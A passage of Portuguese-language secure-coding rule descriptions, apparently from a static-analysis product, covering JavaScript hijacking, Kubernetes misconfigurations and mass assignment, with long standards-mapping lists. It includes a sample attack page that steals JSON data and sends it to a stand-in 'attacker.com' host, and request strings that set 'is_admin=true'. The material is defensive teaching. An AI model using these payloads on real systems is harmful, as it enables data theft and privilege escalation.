Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Os navegadores da Web aplicam a Política de Mesma Origem para proteger os usuários de sites mal-intencionados. A mesma Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto o JavaScript quanto a página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e, depois, comunicá-las ao invasor. O sequestro de JavaScript permite que um invasor ignore a política da mesma origem no caso de um aplicativo da web usar JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não possa examinar diretamente quaisquer dados carregados de um site vulnerável no cliente, ele ainda pode tirar vantagem dessa brecha, configurando um ambiente que permite testemunhar a execução do JavaScript e quaisquer efeitos colaterais relevantes que possa ter. Como muitos aplicativos da Web 2.0 usam JavaScript como mecanismo de transporte de dados, eles costumam ser vulneráveis, ao contrário dos aplicativos tradicionais da Web.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
Evite usar um namespace padrão do Kubernetes.
Explanation
Os namespaces do Kubernetes dividem um cluster em partes gerenciáveis. Os namespaces fornecem um escopo para nomes e facilitam a especificação de várias políticas para uma subseção de um cluster. Por padrão, o Kubernetes aloca um recurso para um namespace default. Usar um namespace diferente do padrão reduz o impacto de erros ou atividades mal-intencionadas.

Exemplo 1: A configuração a seguir define o namespace de um recurso como default.

...
kind: ...
metadata:
...
namespace: default
spec:
...
References
[1] Namespaces The Kubernetes Authors
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 340
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[15] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[16] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Predictable Resource Location (WASC-34)
[31] Standards Mapping - Web Application Security Consortium 24 + 2 Predictable Resource Location
desc.structural.yaml.kubernetes_misconfiguration_default_namespace.base
Abstract
Solicitações anônimas são ativadas em uma configuração Kubelet.
Explanation
Há uma configuração que permite que o Kubelets atenda a solicitações anônimas. As solicitações anônimas não são rejeitadas por nenhum método de autenticação configurado. Como os Kubelets são os principais agentes do Kubernetes para gerenciar a carga de trabalho de uma máquina de trabalho, os invasores podem usar solicitações anônimas para obter acesso a APIs de serviço com proteção insuficiente e sensíveis à segurança.

Exemplo 1: O arquivo de configuração a seguir permite que um Kubelet atenda a solicitações anônimas porque o campo anonymous está definido como enabled:true .

...
kind: KubeletConfiguration
...
authentication:
anonymous:
enabled: true
...
References
[1] Set Kubelet parameters via a config file The Kubernetes Authors
[2] Kubelet The Kubernetes Authors
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 284
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [18] CWE ID 522
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [18] CWE ID 862
[13] Standards Mapping - Common Weakness Enumeration Top 25 2022 [16] CWE ID 862
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-001084, CCI-002165
[15] Standards Mapping - FIPS200 AC
[16] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[17] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[18] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[19] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[20] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[21] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[22] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[23] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[24] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[25] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[26] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3)
[27] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[39] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[40] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[41] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
desc.structural.yaml.kubernetes_misconfiguration_kubelet_anonymous_access
Abstract
Um campo confidencial é exposto ao associador de modelo.
Explanation
Estruturas modernas permitem que os desenvolvedores associem automaticamente parâmetros de solicitações HTTP, provenientes tanto da consulta quanto do corpo da solicitação, a objetos de modelo para facilitar o desenvolvimento e aumentar a produtividade. Se o associador não estiver configurado corretamente para controlar quais parâmetros de solicitações HTTP são associados a quais atributos de modelo, um invasor poderá ser capaz de abusar do processo de associação de modelo e definir qualquer outro atributo que não deve ficar exposto ao controle dos usuários. Essa associação é possível mesmo quando os atributos de modelo não aparecem nos formulários da Web ou em contratos de API.

Exemplo 1: O seguinte método de controlador MVC ASP.NET (Register) é acessado a partir de um formulário da Web que solicita que os usuários registrem uma conta fornecendo seus nomes e senhas:


public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}


Em que a classe RegisterModel é definida como:


public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }

[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }

[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }

public Details Details { get; set; }

public RegisterModel()
{
Details = new Details();
}
}


e a classe Details é definida como:


public class Details
{
public bool IsAdmin { get; set; }
...
}


Considerando o cenário no Example 1, um invasor pode ser capaz de explorar o aplicativo e descobrir que existe um atributo Details no modelo RegisterModel. Se esse for o caso, o invasor poderá então tentar substituir os valores atuais atribuídos aos seus atributos.
Se um invasor descobrir esses atributos internos, e o associador de estrutura não estiver corretamente configurado para proibir a vinculação desses atributos, o invasor será capaz de registrar uma conta de administrador enviando a seguinte solicitação:


name=John&password=****&details.is_admin=true
References
[1] OWASP Mass assignment
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark partial
[8] Standards Mapping - Common Weakness Enumeration CWE ID 915
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001082, CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[15] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[16] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[17] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[18] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.2 Input Validation Requirements (L1 L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
desc.structural.dotnet.mass_assignment_sensitive_field_exposure
Abstract
Um campo confidencial é exposto ao associador do modelo.
Explanation
Estruturas modernas permitem que os desenvolvedores vinculem automaticamente os parâmetros de solicitação HTTP da consulta e do corpo da solicitação aos objetos de modelo para facilitar o desenvolvimento e aumentar a produtividade. Se o associador não estiver configurado corretamente para controlar quais parâmetros de solicitação HTTP estão vinculados a quais atributos de modelo, um invasor pode abusar do processo de vinculação de modelo e definir quaisquer outros atributos que não devem ser expostos ao controle do usuário. Essa ligação é possível mesmo se os atributos do modelo não aparecerem nos formulários da web ou nos contratos de API.

Exemplo 1: O seguinte Struts 1 DynaActionForm define dinamicamente um ActionForm que está vinculado às solicitações do usuário. Neste caso, ele é usado para registrar uma conta, fornecendo o tipo de conta e os detalhes de um usuário:


<struts-config>
<form-beans>
<form-bean name="dynaUserForm"
type="org.apache.struts.action.DynaActionForm" >
<form-property name="type" type="java.lang.String" />
<form-property name="user" type="com.acme.common.User" />
</form-bean>
...



Se o registro for bem-sucedido, os dados do usuário serão mantidos no banco de dados. A clase User é definida como:


public class User {
private String name;
private String lastname;
private int age;
private Details details;

// Public Getters and Setters
...
}


E a classe Details é definida como:


public class Details {
private boolean is_admin;
private int id;
private Date login_date;

// Public Getters and Setters
...
}


Considerando o cenário no Example 1, um invasor pode ser capaz de explorar o aplicativo e descobrir que existe um atributo details no modelo User. Se esse for o caso, o invasor poderá então tentar substituir os valores atuais atribuídos aos seus atributos.
Se um invasor puder descobrir esses atributos internos e o associador da estrutura não estiver configurado corretamente para impedir a vinculação desses atributos, o invasor poderá registrar uma conta de administrador enviando a seguinte solicitação:


type=free&user.name=John&user.lastname=Smith&age=22&details.is_admin=true
References
[1] OWASP Mass assignment
[2] Spring Spring MVC Known Vulnerabilities and Issues
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 915
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001082, CCI-002754
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[16] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[17] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[18] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[19] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[20] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[21] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.2 Input Validation Requirements (L1 L2 L3)
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
